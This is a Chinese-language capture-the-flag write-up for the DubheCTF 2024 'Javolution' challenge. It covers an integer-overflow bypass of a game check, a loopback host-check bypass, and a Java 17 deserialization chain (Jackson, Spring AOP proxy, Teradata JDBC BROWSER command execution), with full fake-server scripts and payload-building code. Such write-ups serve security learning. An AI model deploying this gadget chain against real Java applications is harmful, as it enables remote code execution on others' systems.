2024 DubheCTF WriteUp
2024-03-18 Write Up

Javolution

反序列化部分入口点

image-1.png

image-2.png

image-3.png

要到达触发反序列化语句部分,需要满足以下条件:

  • Player 玩家等级达到50级
  • 传入的 host 包含 dubhe 字段且是回环地址

一、整数溢出漏洞

jar 包内 /pal 路由部分实现了一个较为完整的交互式幻兽帕鲁游戏,提供以下操作接口:

  • /capture 用于捕捉帕鲁,仅当待捕捉帕鲁的等级在 Player 等级+10 级 以内才能捕捉成功

    捕捉成功后 Player 将变为被捕捉的帕鲁

  • /battle/{boss} 路由用于与帕鲁战斗,通过一个特定的函数判断双方能力:

image-4.png

如果 Player 能力大于目标帕鲁的能力,则战斗成功,Player 等级升至目标帕鲁的等级

  • /cheat 在 GET 路由中可以修改当前 Player 的 hp、attack 和 defense,但需要满足

    hp <= level * 200attack <= level * 20defense <= level * 20

  • /cheat 在 POST 路由中用于触发 Java 反序列化,需要满足前述条件才能到达触发部分

游戏部分提供了如下帕鲁:

image-5.png

为了提供更高的游戏趣味性和随机性,游戏中还提供了如下生成波动函数:

image-6.png

image-7.png

和元素克制逻辑:

image-8.png

由于出题人的精心设计:

  • Grizzbolt 和 Jetragon 的等级差值为 20
  • 初始值波动范围为 0.9 - 1.1
  • 元素克制加成为 1.0 或 1.5
  • /cheat GET路由部分的设置限制

无法通过正常方法 battle 赢 Jetragon 或 capture 到 Jetragon

💡 因此此处需要使用 整除溢出漏洞

首先 /cheat 的 GET 路由部分使用了 intValue() 函数,且限制了传入数据为 Integer ,如果传入过大或过小的数字,会被当成字符串报错,所以此处是无法使用溢出漏洞的

因此考虑在后续对 hp attack 和 defense 的运算中使用整数溢出漏洞:

image-9.png

由于 /cheat 的 GET 路由部分仅限制了 hp <= level * 200attack <= level * 20defense <= level * 20 ,因此我们可以传入一个很小的但不溢出的负数:

hp=0 attack=-2147483648 defense=-2147483648

此时 myPower 由于 hp=0 而变为 0

opponentPower 由于 opponentdamage 计算过程中发生溢出成为0 而变为0

因此最后得以 battle 成功升入 50 级

二、host 绕过

该部分需要满足以下条件:

  • 传入的 host 包含 dubhe 字段
  • 传入的 host 是回环地址

可以通过设置一个公网 DNS 解析到回环地址来绕过,同时可能由于远程进行了相应设置,可以使用 dubhe.localhost 绕过校验部分

三、反序列化部分

反序列化入口点是一个常见的 readObject() 函数,查看 pom.xml 如下:

image-10.png

image-11.png

发现这是基于 Java 17 的高版本反序列化

由于依赖中没有提供常用的 CommonCollection 链和 CommonBeanutil 链,只能尝试从 Jackson 链尝试突破

且此处引入的 teradata jdbc 并没有在前述逻辑中使用,应当是绕过高版本 Java 限制的一个工具

先在 com.teradata.jdbc 包中进行危险函数的查找:

image-12.png

发现在其原设计为调用浏览器的逻辑部分存在 Runtime.getRuntime().exec() 危险函数的调用

找了半天终于在 blackhat 里找到了相关的漏洞说明:

image-13.png

image-14.png

Teradata JDBC 在通过浏览器设置 SSO 登录时会调用 Runtime.getRuntime().exec() 用于启动指定的浏览器进行 SSO 验证,此处存在漏洞可进行任意命令执行

攻击路径如下:

  1. JDBC Client 连接到 Fake Teradata Server
  2. Fake Teradata Server 告诉 JDBC Client OIDC 已启用
  3. JDBC Client 向 OIDC 服务器发出 URL 请求,需要具有 openid-configuration 格式的 JSON 返回
  4. JDBC Client 执行 BROWSER 属性中的命令

首先启用一个 Fake Teradata Server:

image-15.png

# Script fakeserver.py from Vidar-Team 1ue
import asyncore
import logging
import socket
import struct

class teradata_request_handler(asyncore.dispatcher_with_send):
    def __init__(self, sock, addr, url):
        asyncore.dispatcher_with_send.__init__(self, sock=sock)
        self.addr = addr
        self.packet_to_send = bytes.fromhex('03020a0000070000')+struct.pack(">H",len(url)+899)+bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+struct.pack(">H",len(url)+87)+bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+struct.pack(">H",len(url)+11)+bytes.fromhex('000372636500')+struct.pack("B",len(url))+url.encode("ascii")+bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a')
        self.ibuffer = []

    def handle_read(self):
        data = self.recv(8192)
        if data:
            logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
            logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
            self.send(self.packet_to_send)

class TeradataServer(asyncore.dispatcher):
    def __init__(self, host, port):
        asyncore.dispatcher.__init__(self)
        self.create_socket()
        self.set_reuse_addr()
        self.bind((host, port))
        self.listen(5)
        logging.info(f'Server running on {host}:{port}')
    def handle_accept(self):
        pair = self.accept()
        if pair is not None:
            sock, addr = pair
            handler = teradata_request_handler(sock, addr, "http://<server_ip>:5555/a")

if __name__ == '__main__':
    logging.basicConfig(level=logging.INFO)
    server = TeradataServer('0.0.0.0', 10250)
    asyncore.loop()

然后启用一个 fakesso server ,用于返回 openid-configuration 格式的 json

# Script fakesso.py from Vidar-Team 1ue
from flask import Flask
import json

app = Flask(__name__)

@app.route("/a")
@app.route("/a/.well-known/openid-configuration")
def h():
    dddata={
        "authorization_endpoint":"1ue",
        "token_endpoint":"vidar"
    }
    return json.dumps(dddata)

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=True,port=5555)

由于漏洞说明中仅给出了基于 CommonBeanutil 链的绕过高版本方法,因此我们需要手动构造 Jackson 链来调用 TeradataSource 的 getter 方法触发连接

首先是 dataSource 部分的构造:

String command = "calc.exe";
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");

首先尝试了 BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter

但是实测 BadAttributeValueExpException 触发 toString 只能在 Java 8 中成功触发,而在 Java 17 中无法使用,因此需要寻找其他 from readObject to obj.toString 路径链:

https://github.com/wh1t3p1g/ysomap/blob/master/core/src/main/java/ysomap/core/util/PayloadHelper.java#L311

EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

如果直接使用上述链子,在 jackson 链在循环调用 getter 时会由于顺序问题导致反序列化触发失败:

getter definitions for property "databaseName": com.teradata.jdbc.TeraDataSourceBase#getdatabaseName() vs com.teradata.jdbc.TeraDataSourceBase#getDatabaseName()

需要使用 org.springframework.aop.framework.JdkDynamicAopProxy 类代理解决:

JdkDynamicAopProxy 类的 advised 成员是 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类

当代理类上的一个接口方法被调用时,这个 handler 就会尝试调用 targetSource 成员保存的实现类对象所实现的对应方法。所以需要获取代理类所有的 getter 方法,然后调用代理的 getter 方法,触发 JdkDynamicAopProxy 类的 invoke 方法

同时应该注意到,当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法,我们的目的应该是让代理类仅仅包含我们需要的方法 getConnection() 来触发 jdbc 连接

image-16.png

由于 DataSource 代理类包含我们需要的 getConnection() 方法,因此我们可以使用这个代理类来稳定触发反序列化:

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);

最终 Payload:

// Teradata 恶意 dataSource 构造
String command = "calc.exe";
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");

// 代理类实现稳定触发 getConnection
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);

// 删除 writeReplace 解决 Jackson 反序列化不稳定问题
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(proxy);

// jdk17 从 readObject 到 obj.toString 构造
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(node);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

System.out.println(serial(list));